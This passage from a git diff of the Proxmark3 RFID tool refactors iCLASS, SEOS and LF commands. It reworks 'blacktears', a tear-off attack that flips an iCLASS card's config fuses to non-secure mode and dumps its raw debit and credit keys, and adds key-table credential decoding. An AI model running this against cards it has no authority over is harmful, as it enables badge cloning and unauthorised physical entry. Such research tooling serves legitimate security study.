iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true); + bool auth, bool shallow_mod, uint8_t *out, bool loop) { + return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true, loop); } static int CmdHFiClass_ReadBlock(const char *Cmd) { @@ -2933,6 +2965,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { arg_lit0(NULL, "nr", "replay of NR/MAC"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0("@", NULL, "optional - continuous mode"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2984,6 +3017,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { bool use_replay = arg_get_lit(ctx, 7); bool verbose = arg_get_lit(ctx, 8); bool shallow_mod = arg_get_lit(ctx, 9); + bool cm = arg_get_lit(ctx, 10); CLIParserFree(ctx); @@ -3002,10 +3036,23 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { } + int res = 0; uint8_t data[8] = {0}; - int res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data); - if (res != PM3_SUCCESS) - return res; + + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + + do { + memset(data, 0, sizeof(data)); + + res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data, cm); + if (!cm && res != PM3_SUCCESS) { + return res; + } + + } while (cm && (kbd_enter_pressed() == false)); + if (blockno < 6 || blockno > 7) return PM3_SUCCESS; @@ -3242,6 +3289,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { PrintAndLogEx(ERR, "Key number is invalid"); return PM3_EINVARG; } + } else { + PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); } if (data_len && data_len != 8) { @@ -3281,6 +3330,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { if (use_credit_key) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); keyType = ICLASS_CREDIT_KEYTYPE; + } else { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("debit") " key"); } if (data_len && auth == false) { @@ -3303,6 +3354,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { if (shallow_mod) { payload_rdr.flags |= FLAG_ICLASS_READER_SHALLOW_MOD; } + clearCommandBuffer(); PacketResponseNG resp; SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); @@ -3328,9 +3380,12 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { int fail_tolerance = 1; if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "----------------------------------------"); + PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); } else { - PrintAndLogEx(SUCCESS, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(ERR, "Old silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); fail_tolerance = 5; } @@ -3359,7 +3414,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { read_auth = false; } - int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false); while (reread) { if (res_orig == PM3_SUCCESS && !reread) { if (memcmp(data_read_orig, zeros, 8) == 0) { @@ -3396,7 +3451,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); - PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages uint8_t dbg_curr = DBG_NONE; if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { @@ -3513,7 +3568,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { read_auth = false; } - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res == PM3_SUCCESS && !reread) { if (memcmp(data_read, zeros, 8) == 0) { reread = true; @@ -3698,11 +3753,11 @@ static void iclass_read_interesting_data(uint8_t *key, uint8_t keyType, bool eli bool auth = false; uint8_t blockno = 3; uint8_t kd_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false); + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false, false); blockno = 4; uint8_t kc_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false); + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false, false); PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read))); PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read))); @@ -3724,8 +3779,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { CLIParserInit(&ctx, "hf iclass blacktears", "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode.\n" "Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n", - "hf iclass blacktears -k 001122334455667B\n" - "hf iclass blacktears --ki 1" + "hf iclass blacktears -k 001122334455667B <-- debit custom key\n" + "hf iclass blacktears --credit --ki 1 <-- credit key at index 1" ); void *argtable[] = { @@ -3749,10 +3804,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { CLIGetHexWithReturn(ctx, 1, key, &key_len); int key_nr = arg_get_int_def(ctx, 2, -1); - int blockno = 1; - - uint8_t data[8] = {0x12, 0xFF, 0xFE, 0xFF, 0x7F, 0x1F, 0xFF, 0x2C}; // tearoff payload - uint8_t mac[4] = {0}; + bool use_credit_key = arg_get_lit(ctx, 3); // Start at 1700, end at 1900. // 5 steps increments @@ -3766,18 +3818,18 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { uint8_t otp[2] = {0}; CLIGetHexWithReturn(ctx, 7, otp, &otp_len); + bool rawkey = arg_get_lit(ctx, 8); bool verbose = arg_get_lit(ctx, 9); bool shallow_mod = arg_get_lit(ctx, 10); + CLIParserFree(ctx); + bool elite = false; - bool rawkey = arg_get_lit(ctx, 8); - bool use_replay = false; //not implemented in this mode + bool use_replay = false; // not implemented in this mode bool read_auth = false; - bool use_credit_key = arg_get_lit(ctx, 3); + int tearoff_loop = 1; int tearoff_sleep = 0; - CLIParserFree(ctx); - // Sanity checks if (key_len > 0 && key_nr >= 0) { PrintAndLogEx(ERR, "Please specify key or index, not both"); @@ -3786,7 +3838,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool auth = false; - if (key_len > 0) { + if (key_len) { auth = true; if (key_len != 8) { @@ -3804,24 +3856,26 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8)); } else { PrintAndLogEx(ERR, "Key number is invalid"); + PrintAndLogEx(NORMAL, ""); return PM3_EINVARG; } + } else { + PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); } - if (otp_len > 0) { - if (otp_len != 2) { - PrintAndLogEx(ERR, "OTP is incorrect length"); - return PM3_EINVARG; - } - memcpy(&data[1], otp, 2); //update the otp in the tearoff data value + if (otp_len && otp_len != 2) { + PrintAndLogEx(ERR, "OTP is incorrect length"); PrintAndLogEx(NORMAL, ""); + return PM3_EINVARG; } int loop_count = 0; int isok = PM3_SUCCESS; bool read_ok = false; + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; - if (use_credit_key == true) { + + if (use_credit_key) { PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); keyType = ICLASS_CREDIT_KEYTYPE; } else { @@ -3866,10 +3920,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int fail_tolerance = 1; if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok")); + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); } else { - PrintAndLogEx(FAILED, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); - PrintAndLogEx(FAILED, "Old Silicon is not Supported for this operation."); + PrintAndLogEx(ERR, "Old silicon detected ( %s )", _RED_("fail")); + PrintAndLogEx(INFO, "Unsupported for this operation"); + PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); DropField(); return PM3_ESOFT; } @@ -3884,16 +3941,17 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } if (pagemap == 0x0) { - PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled")); + PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if " _YELLOW_("RA") " is enabled")); goto out; } - #define TEAR_INITAL 0x3C - #define TEAR_PERSO_ENABLED 0xBC - #define TEAR_PERSO_STABLE 0xBE - #define TEAR_PERSO_STABLE2 0x9C - #define TEAR_UNLOCKED 0xAC + #define TEAR_NON_SECURE_MODE 0x2C + #define TEAR_INITAL 0x3C + #define TEAR_PERSO 0xAC + #define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80) + #define TEAR_IS_NONSECURE_SET(x) ((((x) & 0x18) >> 3) == PICOPASS_NON_SECURE_PAGEMODE) + #define TEAR_BAD(x) (((x) & 0x01) == 0) // perform initial read here, repeat if failed or 00s @@ -3904,8 +3962,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool erase_phase = false; read_auth = false; + + int blockno = 1; - int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false); while (reread) { if (res_orig == PM3_SUCCESS && !reread) { if (memcmp(data_read_orig, zeros, 8) == 0) { @@ -3921,10 +3981,19 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } } + uint8_t data[8] = { 0 }; // tearoff payload + memcpy(data, data_read_orig, sizeof(data)); + data[7] = TEAR_NON_SECURE_MODE; + + // add the modified OTP if needed + if (otp_len) { + memcpy(data + 1, otp, sizeof(otp)); // update the otp in the tearoff data value + } + PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); - PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages uint8_t dbg_curr = DBG_NONE; if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { @@ -3945,6 +4014,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); // Main loop + uint8_t mac[4] = {0}; + while ((tearoff_start <= tearoff_end) && (read_ok == false)) { if (kbd_enter_pressed()) { @@ -3995,7 +4066,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { // skip authentication for config block read_auth = false; - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res == PM3_SUCCESS && !reread) { if (memcmp(data_read, zeros, 8) == 0) { reread = true; @@ -4064,7 +4135,9 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool goto_out = false; - if (data_read[0] != data_read_orig[0]) { + // App limit became SMALLER :( + if (data_read[0] > data_read_orig[0]) { + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); isok = PM3_SUCCESS; @@ -4172,81 +4245,39 @@ out: read_auth = false; uint8_t data_read[8]= {0}; - uint8_t data_verify[8] = {0}; - int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res != PM3_SUCCESS) { return res; } uint8_t b7 = data_read[7]; - switch(b7) { + if ( b7 == TEAR_INITAL) { + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); + // check for OTP change? + } else if (TEAR_IS_NONSECURE_SET(b7)) { + // don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); - case TEAR_PERSO_ENABLED: { - - // stabilize 0xBC with write operation to 0xBE - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " stabilizing to: " _YELLOW_("0xBE") NOLF, data_read[7]); - - memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_PERSO_STABLE; - - iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - - // verify if it was a succesful write - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_verify, false); - - if (data_verify[7] == TEAR_PERSO_STABLE) { - - PrintAndLogEx(SUCCESS, " ( %s )", _GREEN_("ok")); - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); - - memcpy(data, data_verify, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_UNLOCKED; - - // set non-secure memory with 0xAC, in this state it will always succeed - iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - - iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - } else { - PrintAndLogEx(FAILED, " ( %s )", _RED_("fail")); - } - break; - - } - case TEAR_PERSO_STABLE: - case TEAR_PERSO_STABLE2: { + iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); + } else if (TEAR_IS_PERSO_SET(b7)) { PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_UNLOCKED; + data[7] = TEAR_NON_SECURE_MODE; // set non-secure memory with 0xAC, in this state it will always succeed iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; - } - case TEAR_UNLOCKED: { - - // don't do anything as this is ok - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); - - iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; - } - case TEAR_INITAL: { - PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); - // check for OTP change? - break; - } - default: { - PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!")); - break; - } + } else if (TEAR_BAD(b7)) { + PrintAndLogEx(WARNING, "Bad fuse state detected: " _RED_("0x%02X") ", cannot proceed", b7); + return PM3_EFAILED; + } else { + PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!")); } - return isok; } @@ -5287,8 +5318,15 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u } while (repeat == true) { + uint32_t payload_size = sizeof(iclass_recover_req_t); + iclass_recover_req_t *payload = calloc(1, payload_size); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + break; + } + payload->req.use_raw = true; payload->req.use_elite = false; payload->req.use_credit_key = false; @@ -5337,8 +5375,10 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u repeat = false; } } + free(payload); - if (!repeat) { + + if (repeat == false) { return resp.status; } } @@ -6205,6 +6245,11 @@ static void shave(uint8_t *data, uint8_t len) { } static void generate_rev(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); + if (key == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + PrintAndLogEx(SUCCESS, "permuted key..... %s", sprint_hex_inrow(data, len)); permute_rev(data, len, key); PrintAndLogEx(SUCCESS, "unpermuted key... %s", sprint_hex_inrow(key, len)); @@ -6214,7 +6259,17 @@ static void generate_rev(uint8_t *data, uint8_t len) { } static void generate(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); + if (key == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + uint8_t *pkey = calloc(len, sizeof(uint8_t)); + if (pkey == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + PrintAndLogEx(SUCCESS, "input key...... %s", sprint_hex_inrow(data, len)); permute(data, len, pkey); PrintAndLogEx(SUCCESS, "permuted key... %s", sprint_hex_inrow(pkey, len)); @@ -6994,9 +7049,9 @@ int info_iclass(bool shallow_mod) { PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); if (memcmp(hdr->csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); + PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("New silicon (No 14b support)")); } else { - PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); + PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("Old silicon (14b support)")); } if (legacy) { @@ -7007,20 +7062,23 @@ int info_iclass(bool shallow_mod) { bool found_aa1 = false; bool found_aa2 = false; - uint8_t key[8] = {0}; + uint8_t aa1_idx = 0; + uint8_t key[PICOPASS_KEY_SIZE] = {0}; + for (uint8_t i = 0; i < ARRAYLEN(iClass_Key_Table); i++) { memcpy(key, iClass_Key_Table[i], sizeof(key)); if (found_aa1 == false) { - res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false); + res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, " AA1 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); found_aa1 = true; + aa1_idx = i; } } - res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, " AA2 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); found_aa2 = true; @@ -7032,8 +7090,10 @@ int info_iclass(bool shallow_mod) { } if (found_aa1) { - res = iclass_read_block_ex(key, 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + + res = iclass_read_block_ex(iClass_Key_Table[aa1_idx], 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false); if (res == PM3_SUCCESS) { + PrintAndLogEx(INFO, ""); BLOCK79ENCRYPTION aa1_encryption = (dump[(6 * PICOPASS_BLOCK_SIZE) + 7] & 0x03); @@ -7044,6 +7104,8 @@ int info_iclass(bool shallow_mod) { iclass_load_transport(transport, sizeof(transport)); iclass_decrypt_transport(transport, 8, dump, decrypted, aa1_encryption); iclass_decode_credentials(decrypted); + + return PM3_SUCCESS; } } } diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 49f8665a8..f2fd7a231 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -92,8 +92,8 @@ static const known_algo_t known_algorithm_map[] = { }; static const char *known_seos_aids[] = { - "A0000004400001010001", - "A000000382002D000101", + "A0000004400001010001", // STANDARD_SEOS + "A000000382002D000101", // MOBILE_SEOS_ADMIN_CARD }; static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *aid, int *aid_len) { @@ -1651,11 +1651,6 @@ static int seos_load_keys(char *filename) { return PM3_SUCCESS; } -int infoSeos(bool verbose, int privacy_key_index, int auth_key_index) { - (void)verbose; - return seos_select(NULL, 0, privacy_key_index, auth_key_index); -} - static int CmdHfSeosInfo(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf seos info", diff --git a/client/src/cmdhfseos.h b/client/src/cmdhfseos.h index 8d416afe4..fd31008d9 100644 --- a/client/src/cmdhfseos.h +++ b/client/src/cmdhfseos.h @@ -22,7 +22,6 @@ #include "common.h" #include "seos_cmd.h" -int infoSeos(bool verbose, int privacy_key_index, int auth_key_index); int CmdHFSeos(const char *Cmd); int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot, uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm); diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index 5b42c407b..09fd88b5a 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -1572,6 +1572,8 @@ static bool check_chiptype(bool getDeviceData) { saveState_db.clock = g_DemodClock; saveState_db.offset = g_DemodStartIdx; + PrintAndLogEx(INFO, "Searching for auth LF and special cases..."); + // check for em4x05/em4x69 chips first uint32_t word = 0; if (IfPm3EM4x50() && em4x05_isblock0(&word)) { @@ -1786,14 +1788,19 @@ int CmdLFfind(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, _RED_("No data found!")); // identify chipset - if (check_chiptype(is_online) == false) { + bool lf_special_search = check_chiptype(is_online); + if ( lf_special_search ) { + found++; + } else { PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed")); } - PrintAndLogEx(HINT, "Hint: Maybe not an LF tag?"); + if ( found == 0) { + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf search") "` - since tag might not be LF"); + } + PrintAndLogEx(NORMAL, ""); if (search_cont == 0) { return PM3_ESOFT; diff --git a/client/src/cmdmqtt.c b/client/src/cmdmqtt.c index d69e1c931..dfbc41a29 100644 --- a/client/src/cmdmqtt.c +++ b/client/src/cmdmqtt.c @@ -259,7 +259,7 @@ static int CmdMqttSend(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "mqtt send", "This command send MQTT messages. You can send JSON file\n" - "Default server: proxdump.com:1883 topic: proxdump\n", + "Default server: mqtt.proxdump.com:1883 topic: proxdump\n", "mqtt send --msg \"Hello from Pm3\" --> sending msg to default server/port/topic\n" "mqtt send -f myfile.json --> sending file to default server/port/topic\n" "mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"\n" @@ -308,7 +308,7 @@ static int CmdMqttSend(const char *Cmd) { if (strlen(g_session.mqtt_server)) { strcpy(addr, g_session.mqtt_server); } else { - strcpy(addr, "proxdump.com"); + strcpy(addr, "mqtt.proxdump.com"); } } diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 053e78a77..7a5fde2a0 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -251,6 +251,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf felica sniff" }, { 0, "hf felica wrbl" }, { 0, "hf felica dump" }, + { 0, "hf felica discnodes" }, { 0, "hf felica rqservice" }, { 0, "hf felica rqresponse" }, { 0, "hf felica scsvcode" }, @@ -282,6 +283,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf gallagher diversifykey" }, { 1, "hf gallagher decode" }, { 1, "hf gallagher encode" }, + { 1, "hf gallagher test" }, { 1, "hf gst help" }, { 1, "hf gst list" }, { 1, "hf gst test" }, @@ -305,6 +307,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf iclass legrec" }, { 1, "hf iclass legbrute" }, { 1, "hf iclass unhash" }, + { 0, "hf iclass blacktears" }, { 0, "hf iclass sim" }, { 0, "hf iclass eload" }, { 0, "hf iclass esave" }, diff --git a/doc/aidlist.md b/doc/aidlist.md new file mode 100644 index 000000000..00dec60ca --- /dev/null +++ b/doc/aidlist.md @@ -0,0 +1,28 @@ +# AID list (`aidlist.json`) + + +This file acts as a database of ISO/IEC 7816 application identifiers (AIDs) and their human-readable metadata. + +It is used by commands that try known app selections and then print decoded information (for example `hf 14a info --aidsearch`, `hf 14b info --aidsearch`, etc.). + +## Format +Each entry in `client/resources/aidlist.json` must contain all of the fields below (use an empty string if data is unknown): + +- `AID`: Application Identifier as a hex string, no spaces or separators, representing raw bytes in ISO7816 select order (big-endian byte order as transmitted in APDU data). +- `Vendor`: Organization, scheme, ecosystem owner, or issuer most directly associated with this AID. Specify multiple issuers with a comma or semicolon separator. +- `Country`: Primary country associated with the vendor or deployment context. Leave empty when unknown or globally used. +- `Name`: Short user-facing application name. +- `Description`: Extra context, disambiguation, references, legacy naming, known usage notes, or deployment-specific remarks. +- `Type`: High-level category tag (for example `transport`, `emv`, `gp`, `pacs`, `ndef`). + +Example: +```json +{ + "AID": "A00000039656434103F1216000000000", + "Vendor": "LV Monorail", + "Country": "United States", + "Name": "Las Vegas Monorail", + "Description": "Used on Las Vegas Monorail during Google Wallet Mifare 2GO demo period", + "Type": "transport" +} +``` diff --git a/doc/commands.json b/doc/commands.json index fef451727..b6d53affc 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1400,12 +1400,13 @@ "hf 14a sim -t 11 -> Javacard (JCOP)", "hf 14a sim -t 12 -> 4K Seos card", "hf 14a sim -t 13 -> MIFARE Ultralight C", - "hf 14a sim -t 14 -> MIFARE Ultralight AES" + "hf 14a sim -t 14 -> MIFARE Ultralight AES", + "hf 14a sim -t 15 -> MIFARE Plus" ], "offline": false, "options": [ "-h, --help This help", - "-t, --type <1-14> Simulation type to use", + "-t, --type <1-15> Simulation type to use", "-u, --uid <4|7|10> hex bytes UID", "-n, --num Exit simulation after blocks have been read by reader. 0 = infinite", "-x Performs the 'reader attack', nr/ar attack against a reader", @@ -1414,7 +1415,7 @@ "--1a1 <8|16> hex bytes ULC/ULAES Auth reply step1: ek(RndB)", "--1a2 <8|16> hex bytes ULC/ULAES Auth reply step2: ek(RndA')" ], - "usage": "hf 14a sim [-hxv] -t <1-14> [-u ] [-n ] [--sk] [--1a1 ] [--1a2 ]" + "usage": "hf 14a sim [-hxv] -t <1-15> [-u ] [-n ] [--sk] [--1a1 ] [--1a2 ]" }, "hf 14a simaid": { "command": "hf 14a simaid", @@ -2273,7 +2274,7 @@ "notes": [ "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF", "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 